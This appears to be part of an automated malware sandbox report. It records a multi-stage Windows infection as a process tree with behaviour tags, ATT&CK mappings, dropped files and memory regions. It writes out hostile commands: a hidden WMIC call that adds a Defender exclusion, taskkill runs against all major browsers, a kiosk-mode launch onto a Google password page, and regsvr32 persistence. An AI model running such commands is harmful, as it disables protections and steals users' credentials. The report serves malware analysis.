C:\Windows\SysWOW64\cmd.exe"cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\rootMicrosoftWindowsDefender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\rootMicrosoftWindowsDefender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"6⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\rootMicrosoftWindowsDefender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True7⤵
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\iofolko5\Kgdxnluq4G97jZMCeXdg6Sd3.exe"C:\Users\Admin\AppData\Local\Temp\iofolko5\Kgdxnluq4G97jZMCeXdg6Sd3.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\iofolko5\KqLBBEf4L6vrQrvZTqZraKWD.exe"C:\Users\Admin\AppData\Local\Temp\iofolko5\KqLBBEf4L6vrQrvZTqZraKWD.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
-
-
-
C:\Users\Admin\AppData\Local\Temp\10393770101\Natsu.exe"C:\Users\Admin\AppData\Local\Temp\10393770101\Natsu.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- Checks for VirtualBox DLLs, possible anti-VM trick
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\10393920101\fc61887163.exe"C:\Users\Admin\AppData\Local\Temp\10393920101\fc61887163.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\10393930101\amnew.exe"C:\Users\Admin\AppData\Local\Temp\10393930101\amnew.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"4⤵
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe"C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe"5⤵
- Executes dropped EXE
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\10028410101\alex1dskfmdsf.exe"C:\Users\Admin\AppData\Local\Temp\10028410101\alex1dskfmdsf.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"6⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe"C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-Q9AS8.tmp\Bell_Setup16.tmp"C:\Users\Admin\AppData\Local\Temp\is-Q9AS8.tmp\Bell_Setup16.tmp" /SL5="$C0048,1695194,421888,C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe"6⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe"C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe" /VERYSILENT7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-AAPOV.tmp\Bell_Setup16.tmp"C:\Users\Admin\AppData\Local\Temp\is-AAPOV.tmp\Bell_Setup16.tmp" /SL5="$D0048,1695194,421888,C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe" /VERYSILENT8⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\regsvr32.exe"regsvr32.exe" /s /i:INSTALL "C:\Users\Admin\AppData\Roaming\\1wlanapi.ocx"9⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/s /i:INSTALL \"%APPDATA%\1wlanapi.ocx\"' }) { exit 0 } else { exit 1 }"10⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe"PowerShell.exe" -NoProfile -NonInteractive -Command -10⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/s /i:INSTALL \"%APPDATA%\1wlanapi.ocx\"' }) { exit 0 } else { exit 1 }"10⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10393940101\66ef81b867.exe"C:\Users\Admin\AppData\Local\Temp\10393940101\66ef81b867.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\10393950101\aaa8179b7f.exe"C:\Users\Admin\AppData\Local\Temp\10393950101\aaa8179b7f.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\10393960101\9811b273a6.exe"C:\Users\Admin\AppData\Local\Temp\10393960101\9811b273a6.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\10393970101\1b575d093d.exe"C:\Users\Admin\AppData\Local\Temp\10393970101\1b575d093d.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM firefox.exe /T4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM chrome.exe /T4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM msedge.exe /T4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM opera.exe /T4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM brave.exe /T4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking4⤵
- Loads dropped DLL
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking5⤵
- Loads dropped DLL
- Checks processor information in registry
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1956 -prefsLen 27100 -prefMapHandle 1960 -prefMapSize 270279 -ipcHandle 2056 -initialChannelId {d27c1da7-e2f0-4f3c-8615-0b504bd8c3b1} -parentPid 4868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4868" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu6⤵
- Loads dropped DLL
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2472 -prefsLen 27136 -prefMapHandle 2476 -prefMapSize 270279 -ipcHandle 2484 -initialChannelId {1cc3ca87-db2c-4f8f-8d7f-e5eac3b48598} -parentPid 4868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3928 -prefsLen 25164 -prefMapHandle 3932 -prefMapSize 270279 -jsInitHandle 3936 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3944 -initialChannelId {3c0d4743-6022-4f54-898c-cffe84ffb4f0} -parentPid 4868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4092 -prefsLen 27277 -prefMapHandle 4100 -prefMapSize 270279 -ipcHandle 4108 -initialChannelId {e8844b31-bcdd-4524-8d7e-8e81c49a46ce} -parentPid 4868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4868" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2676 -prefsLen 34776 -prefMapHandle 2816 -prefMapSize 270279 -jsInitHandle 2860 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4500 -initialChannelId {c98407ac-f35f-4198-844f-3cb9e902b063} -parentPid 4868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5156 -prefsLen 35013 -prefMapHandle 5160 -prefMapSize 270279 -ipcHandle 5164 -initialChannelId {9aa22e67-9378-4493-9554-55e1ca74d824} -parentPid 4868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5404 -prefsLen 32952 -prefMapHandle 5400 -prefMapSize 270279 -jsInitHandle 5376 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5392 -initialChannelId {8ac85e77-371a-4bbe-b650-e69798c05330} -parentPid 4868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5612 -prefsLen 32952 -prefMapHandle 5616 -prefMapSize 270279 -jsInitHandle 5620 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5624 -initialChannelId {ba6aa34c-d820-47be-852c-72b0527dc037} -parentPid 4868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5640 -prefsLen 32952 -prefMapHandle 5652 -prefMapSize 270279 -jsInitHandle 5804 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5812 -initialChannelId {1a005d23-49f8-4f3c-a76f-2ca0c514a2ab} -parentPid 4868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab6⤵
- Checks processor information in registry
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10393980101\d590d207e4.exe"C:\Users\Admin\AppData\Local\Temp\10393980101\d590d207e4.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\iofolko5\KqLBBEf4L6vrQrvZTqZraKWD.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\iofolko5\KqLBBEf4L6vrQrvZTqZraKWD.exeC:\Users\Admin\AppData\Local\Temp\iofolko5\KqLBBEf4L6vrQrvZTqZraKWD.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
-
-
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\xdwdkernel.exe"C:\Users\Admin\AppData\Roaming\xdwdkernel.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\xdwdkernel.exe"C:\Users\Admin\AppData\Roaming\xdwdkernel.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\f9827b8d90\tgvazx.exe"C:\Users\Admin\AppData\Local\Temp\f9827b8d90\tgvazx.exe"1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Event Triggered Execution
1AppInit DLLs
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Event Triggered Execution
1AppInit DLLs
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
1Impair Defenses
2Modify Registry
2Virtualization/Sandbox Evasion
4Replay Monitor
Loading Replay Monitor...
Downloads
v7942.exe
alex1dskfmdsf.exe
Bell_Setup16.exe
02361faf94.exe
02361faf94.exe
9b65152e0b.exe
SPOKz5U.exe
nAM5wkr.exe
bprz1VA.exe
gLLOqKC.exe
8d7167a33a.exe
Natsu.exe
fc61887163.exe
amnew.exe
66ef81b867.exe
66ef81b867.exe
aaa8179b7f.exe
9811b273a6.exe
1b575d093d.exe
d590d207e4.exe
221.exe
B279.bat
Built.exe
Luma_Crypt_Packlab.exe
a5.exe
VCRUNTIME140.dll
_ctypes.pyd
api-ms-win-core-console-l1-1-0.dll
api-ms-win-core-datetime-l1-1-0.dll
api-ms-win-core-debug-l1-1-0.dll
api-ms-win-core-errorhandling-l1-1-0.dll
api-ms-win-core-fibers-l1-1-0.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-file-l1-2-0.dll
api-ms-win-core-file-l2-1-0.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-heap-l1-1-0.dll
api-ms-win-core-interlocked-l1-1-0.dll
api-ms-win-core-libraryloader-l1-1-0.dll
api-ms-win-core-localization-l1-2-0.dll
api-ms-win-core-memory-l1-1-0.dll
api-ms-win-core-namedpipe-l1-1-0.dll
api-ms-win-core-processenvironment-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-1.dll
api-ms-win-core-profile-l1-1-0.dll
api-ms-win-core-rtlsupport-l1-1-0.dll
api-ms-win-core-string-l1-1-0.dll
api-ms-win-core-synch-l1-1-0.dll
base_library.zip
libffi-8.dll
python311.dll
ucrtbase.dll
__PSScriptPolicyTest_pc3zm3pc.ab1.ps1
rapes.exe
_shfoldr.dll
wow_6262_build (9).exe
AlternateServices.bin
data.safe.tmp
data.safe.tmp
data.safe.tmp
events
04d3ce20-98d3-4166-b598-b2aa27da1157
2b057b5b-15e7-41f6-9f39-b10a8a0d85a7
3f03c065-c5b9-45a2-ade3-db05f5863ca7
60a82f45-27bd-4e41-9320-58c7ce4160f8
8a063a50-db7a-4e9a-867e-562154f1b1a5
e51db033-0e49-4891-89d4-23a3c3453f5a
prefs-1.js
prefs.js
xdwd.dll
memory/708-614-0x0000000000400000-0x0000000000464000-memory.dmp
memory/708-615-0x0000000000400000-0x0000000000464000-memory.dmp
memory/1156-681-0x0000000000DB0000-0x0000000001242000-memory.dmp
memory/1156-696-0x0000000000DB0000-0x0000000001242000-memory.dmp
memory/1700-1231-0x0000000000400000-0x000000000056C000-memory.dmp
memory/1948-1010-0x0000000000460000-0x00000000004D2000-memory.dmp
memory/1948-1097-0x0000000000460000-0x00000000004D2000-memory.dmp
memory/1992-75-0x0000000000BD0000-0x000000000108B000-memory.dmp
memory/1992-78-0x0000000000BD0000-0x000000000108B000-memory.dmp
memory/2240-428-0x0000017528CE0000-0x0000017528D02000-memory.dmp
memory/2260-452-0x00007FFB13790000-0x00007FFB137BD000-memory.dmp
memory/2260-387-0x00007FFB137C0000-0x00007FFB137E4000-memory.dmp
memory/2260-400-0x00007FFB137F0000-0x00007FFB13DE0000-memory.dmp
memory/2260-405-0x00007FFB12FA0000-0x00007FFB134C9000-memory.dmp
memory/2260-407-0x00007FFB26F70000-0x00007FFB26F89000-memory.dmp
memory/2260-406-0x0000010FAD420000-0x0000010FAD949000-memory.dmp
memory/2260-410-0x00007FFB27C30000-0x00007FFB27C3D000-memory.dmp
memory/2260-409-0x00007FFB1EF70000-0x00007FFB1EF84000-memory.dmp
memory/2260-412-0x00007FFB135E0000-0x00007FFB13756000-memory.dmp
memory/2260-413-0x00007FFB12E80000-0x00007FFB12F9C000-memory.dmp
memory/2260-411-0x00007FFB13760000-0x00007FFB13783000-memory.dmp
memory/2260-357-0x00007FFB137F0000-0x00007FFB13DE0000-memory.dmp
memory/2260-401-0x00007FFB2B4B0000-0x00007FFB2B4BD000-memory.dmp
memory/2260-404-0x00007FFB134D0000-0x00007FFB1359D000-memory.dmp
memory/2260-439-0x00007FFB135E0000-0x00007FFB13756000-memory.dmp
memory/2260-456-0x00007FFB2B4B0000-0x00007FFB2B4BD000-memory.dmp
memory/2260-458-0x00007FFB134D0000-0x00007FFB1359D000-memory.dmp
memory/2260-457-0x00007FFB137F0000-0x00007FFB13DE0000-memory.dmp
memory/2260-455-0x00007FFB1F4C0000-0x00007FFB1F4D9000-memory.dmp
memory/2260-454-0x00007FFB27C30000-0x00007FFB27C3D000-memory.dmp
memory/2260-453-0x00007FFB13760000-0x00007FFB13783000-memory.dmp
memory/2260-388-0x00007FFB2B670000-0x00007FFB2B67F000-memory.dmp
memory/2260-451-0x00007FFB26F70000-0x00007FFB26F89000-memory.dmp
memory/2260-450-0x00007FFB135A0000-0x00007FFB135D3000-memory.dmp
memory/2260-449-0x00007FFB137C0000-0x00007FFB137E4000-memory.dmp
memory/2260-448-0x00007FFB2B670000-0x00007FFB2B67F000-memory.dmp
memory/2260-447-0x00007FFB12E80000-0x00007FFB12F9C000-memory.dmp
memory/2260-445-0x00007FFB1EF70000-0x00007FFB1EF84000-memory.dmp
memory/2260-444-0x00007FFB12FA0000-0x00007FFB134C9000-memory.dmp
memory/2260-402-0x00007FFB135A0000-0x00007FFB135D3000-memory.dmp
memory/2260-399-0x00007FFB1F4C0000-0x00007FFB1F4D9000-memory.dmp
memory/2260-389-0x00007FFB26F70000-0x00007FFB26F89000-memory.dmp
memory/2260-398-0x00007FFB135E0000-0x00007FFB13756000-memory.dmp
memory/2260-403-0x00007FFB137C0000-0x00007FFB137E4000-memory.dmp
memory/2260-392-0x00007FFB13790000-0x00007FFB137BD000-memory.dmp
memory/2260-397-0x00007FFB13760000-0x00007FFB13783000-memory.dmp
memory/2604-589-0x0000000000940000-0x0000000000CCE000-memory.dmp
memory/2800-1304-0x0000000072CC0000-0x0000000072D0C000-memory.dmp
memory/3004-1264-0x0000000007D50000-0x0000000007D61000-memory.dmp
memory/3004-1245-0x00000000079C0000-0x00000000079F2000-memory.dmp
memory/3004-1246-0x0000000072CC0000-0x0000000072D0C000-memory.dmp
memory/3004-1243-0x0000000006970000-0x00000000069BC000-memory.dmp
memory/3004-1242-0x0000000006340000-0x0000000006697000-memory.dmp
memory/3004-1263-0x0000000007DF0000-0x0000000007E86000-memory.dmp
memory/3004-1262-0x0000000007BC0000-0x0000000007BCA000-memory.dmp
memory/3004-1260-0x0000000008190000-0x000000000880A000-memory.dmp
memory/3004-1261-0x0000000007B50000-0x0000000007B6A000-memory.dmp
memory/3004-1257-0x0000000007A10000-0x0000000007AB3000-memory.dmp
memory/3004-1256-0x00000000079A0000-0x00000000079BE000-memory.dmp
memory/3104-562-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/3104-564-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/3252-228-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/3252-717-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/3252-57-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/3252-56-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/3252-46-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/3252-98-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/3252-596-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/3252-737-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/3252-14-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/3252-13-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/3252-9-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/3252-632-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/3252-510-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/3252-10-0x00000000004C1000-0x00000000004EF000-memory.dmp
memory/3252-11-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/3252-665-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/3252-1087-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/3252-408-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/3252-58-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/3252-227-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/3252-12-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/3728-1348-0x00000000006D0000-0x0000000000B32000-memory.dmp
memory/3728-1335-0x00000000006D0000-0x0000000000B32000-memory.dmp
memory/3728-1334-0x00000000006D0000-0x0000000000B32000-memory.dmp
memory/3728-1333-0x00000000006D0000-0x0000000000B32000-memory.dmp
memory/3896-734-0x0000000000530000-0x0000000000BDB000-memory.dmp
memory/3896-736-0x0000000000530000-0x0000000000BDB000-memory.dmp
memory/3968-534-0x0000000000EA0000-0x000000000111B000-memory.dmp
memory/3968-536-0x0000000000EA0000-0x000000000111B000-memory.dmp
memory/4204-358-0x0000000000400000-0x0000000000462000-memory.dmp
memory/4204-359-0x0000000000400000-0x0000000000462000-memory.dmp
memory/4248-3-0x0000000000D70000-0x0000000001226000-memory.dmp
memory/4248-8-0x0000000000D70000-0x0000000001226000-memory.dmp
memory/4248-2-0x0000000000D71000-0x0000000000D9F000-memory.dmp
memory/4248-5-0x0000000000D70000-0x0000000001226000-memory.dmp
memory/4248-1-0x0000000077B95000-0x0000000077B97000-memory.dmp
memory/4248-0-0x0000000000D70000-0x0000000001226000-memory.dmp
memory/4452-1275-0x0000000072CC0000-0x0000000072D0C000-memory.dmp
memory/4532-119-0x0000000000C00000-0x0000000000C34000-memory.dmp
memory/4736-529-0x0000000000300000-0x00000000003E9000-memory.dmp
memory/4736-561-0x0000000000300000-0x00000000003E9000-memory.dmp
memory/4992-1244-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/4992-1259-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/5044-96-0x0000000000400000-0x0000000000464000-memory.dmp
memory/5044-97-0x0000000000400000-0x0000000000464000-memory.dmp
memory/5072-1218-0x0000000000400000-0x0000000000471000-memory.dmp
memory/5072-1204-0x0000000000400000-0x0000000000471000-memory.dmp
memory/5112-544-0x0000000000400000-0x0000000000454000-memory.dmp
memory/5112-770-0x0000000000460000-0x000000000048D000-memory.dmp
memory/5196-541-0x0000000005A50000-0x0000000005A72000-memory.dmp
memory/5196-542-0x00000000062D0000-0x0000000006336000-memory.dmp
memory/5196-543-0x0000000006340000-0x00000000063A6000-memory.dmp
memory/5196-556-0x0000000006F80000-0x0000000006FCC000-memory.dmp
memory/5196-540-0x0000000005B50000-0x000000000621A000-memory.dmp
memory/5196-550-0x00000000063B0000-0x0000000006707000-memory.dmp
memory/5196-539-0x0000000005370000-0x00000000053A6000-memory.dmp
memory/5196-555-0x00000000069A0000-0x00000000069BE000-memory.dmp
memory/5448-537-0x0000000000DF0000-0x0000000000DF8000-memory.dmp
memory/5448-538-0x0000000002E50000-0x0000000002E70000-memory.dmp
memory/5516-1216-0x0000000000400000-0x000000000056C000-memory.dmp
memory/5688-390-0x0000000000400000-0x0000000000464000-memory.dmp
memory/5688-391-0x0000000000400000-0x0000000000464000-memory.dmp
memory/5700-590-0x0000000000400000-0x0000000000558000-memory.dmp
memory/5700-592-0x0000000005520000-0x0000000005AC6000-memory.dmp
memory/5700-593-0x0000000004F70000-0x0000000005002000-memory.dmp
memory/5700-594-0x0000000004EF0000-0x0000000004F0A000-memory.dmp
memory/5700-595-0x0000000005030000-0x000000000503A000-memory.dmp
memory/5796-1232-0x0000000000400000-0x0000000000471000-memory.dmp
memory/5796-1214-0x0000000000400000-0x0000000000471000-memory.dmp
memory/5972-47-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/5972-55-0x00000000004C0000-0x0000000000976000-memory.dmp
memory/5988-715-0x0000000000400000-0x0000000000463000-memory.dmp
memory/5988-716-0x0000000000400000-0x0000000000463000-memory.dmp